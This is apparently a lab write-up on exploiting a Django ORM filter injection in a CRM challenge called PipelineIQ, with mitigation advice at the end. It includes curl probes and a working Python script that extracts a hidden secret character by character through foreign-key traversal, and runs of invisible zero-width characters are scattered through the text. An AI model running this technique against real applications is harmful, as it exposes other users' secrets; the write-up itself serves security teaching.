← Back to Writeups
CUSTOMMediumWeb

Lab 373 — PipelineIQ — Django ORM Filter Injection

XESXOR9/2/20264 min read
#web#custom#medium#django_orm_filter_injection#foreign_key_traversal#boolean_blind_extraction#startswith_oracle#decoy_flag_recognition

Lab 373 — PipelineIQ — Django ORM Filter Injection

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: django_orm_filter_injection, foreign_key_traversal, boolean_blind_extraction, startswith_oracle, decoy_flag_recognition

Summary

Walkthrough of the CUSTOM Web Lab 373 — PipelineIQ — Django ORM Filter Injection. Task: CRM platform with REST API that passes user query parameters directly to Django ORM .filter() without field whitelisting. Solution: exploit Django ORM filter injection via foreign key traversal

Description

PipelineIQ is a customer relationship management platform built by Flowmatic Systems for modern sales teams. It provides contact management, deal pipeline tracking, sales reporting, and a REST API for integrating with external tools. You have been given a standard sales representative account. Your objective is to find a vulnerability in the application that allows you to access sensitive data you should not be able to see. Somewhere in the system, a secret flag is stored — find it and retrieve it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Django-based CRM application with a REST API for contacts. The API accepts arbitrary query parameters and passes them directly to Django's ORM .filter() method. The goal is to exploit this to extract a hidden flag stored in a related model (Profile.api_secret) that the current user should not be able to access.

Credentials: user@test.com / password123

Analysis

Reconnaissance

After logging in, the application exposes several pages:

  1. /login/ — Login page (contains decoy flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML source — these are fake, designed to trap automated tools)
  2. / — Dashboard with sales metrics
  3. /contacts/ — Contacts list with API documentation
  4. /deals/ — Deals pipeline
  5. /reports/ — Sales reports
  6. /settings/ — User settings (shows API credentials)
  7. /api/contacts/ — REST API endpoint ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Identifying the Vulnerability

The Contacts page (/contacts/) contained API documentation describing filtering capabilities:

  • GET /api/contacts/?company=Acme+Corp
  • GET /api/contacts/?stage=qualified
  • GET /api/contacts/?first_name__startswith=J
  • Supports: exact, icontains, startswith, gt, lt, etc.
  • Critical hint: "Filter by any field including related model fields"

This reveals a Django ORM Filter Injection vulnerability. The /api/contacts/ endpoint passes user-supplied query parameters directly into Django's ORM .filter() method without restricting which fields or relationship paths can be queried. Django's double-underscore (__) syntax allows traversing foreign key relationships and applying lookup expressions, enabling an attacker to reach across model relationships to access sensitive data on related models. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Data Model Relationships

The relationship chain to the flag:

Contact → assigned_to (FK → User) → profile (OneToOne → Profile) → api_secret

The api_secret field on the Profile model contains the flag, and it belongs to a different user than the authenticated one.

Solution

Step 1: Confirm ORM Injection

Test basic lookups to confirm the API accepts arbitrary ORM lookups:

bash
curl -b cookies.txt "https://TARGET/api/contacts/?first_name__startswith=J"

Returns filtered results — confirms arbitrary ORM lookups work. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Confirm Foreign Key Traversal

Test relationship traversal through the assigned_to foreign key:

bash
curl -b cookies.txt "https://TARGET/api/contacts/?assigned_to__email__contains=test"

Returns contacts assigned to user@test.com — confirms FK traversal works.

Step 3: Locate the Flag

Test the full relationship chain to the api_secret field:

bash
# Does api_secret start with "FLAG{"?
curl -b cookies.txt "https://TARGET/api/contacts/?assigned_to__profile__api_secret__startswith=FLAG%7B"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Returns contacts → the prefix FLAG{ matches! The flag is in Profile.api_secret.

Step 4: Boolean-Based Blind Extraction

Use startswith as a boolean oracle: if the queried prefix matches, contacts are returned; if not, an empty array [] is returned.

python
#!/usr/bin/env python3
"""
Django ORM Filter Injection — Boolean-based blind flag extraction
Exploits: Contact → assigned_to → profile → api_secret
Oracle: startswith lookup returns contacts if prefix matches, empty [] otherwise
"""
import requests
import string
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = "https://9fc5d5dd-fbdd-463f-9f0b-bcc8234939c6.labs.hackadvisor.io"
LOGIN_URL = f"{BASE_URL}/login/"
API_URL = f"{BASE_URL}/api/contacts/"

session = requests.Session()

# Login to get session cookie
resp = session.get(LOGIN_URL)
csrf = session.cookies.get("csrftoken")
session.post(LOGIN_URL, data={
    "username": "user@test.com",
    "password": "password123",
    "csrfmiddlewaretoken": csrf
}, headers={"Referer": LOGIN_URL})

# Character-by-character extraction using startswith oracle
charset = string.ascii_lowercase + string.digits + "{}_"
flag = "FLAG{"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

while not flag.endswith("}"):
    for c in charset:
        test = flag + c
        resp = session.get(API_URL, params={
            "assigned_to__profile__api_secret__startswith": test
        })
        if resp.json():  # Non-empty = prefix matches
            flag += c
            print(f"[+] {flag}")
            break
    else:
        print(f"[-] No match found after '{flag}', stopping")
        break

print(f"\n[*] Flag: {flag}")

Step 5: Result

The script extracts the flag character by character: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

[+] FLAG{4
[+] FLAG{43
[+] FLAG{436
...
[+] FLAG{REDACTED
[+] FLAG{REDACTED}

[*] Flag: FLAG{REDACTED}

Mitigation

  • Whitelist allowed filter fields — never pass arbitrary user-supplied query parameters to Django's .filter()
  • Use django-filter library which provides safe field whitelisting by default
  • Restrict relationship traversal depth — do not allow __ chains across model boundaries
  • Validate and sanitize all query parameter names before ORM use ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering django_orm_filter_injection, foreign_key_traversal, boolean_blind_extraction, startswith_oracle, decoy_flag_recognition was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-03 • CUSTOM • Lab 373 — PipelineIQ — Django ORM Filter Injection • Difficulty: Medium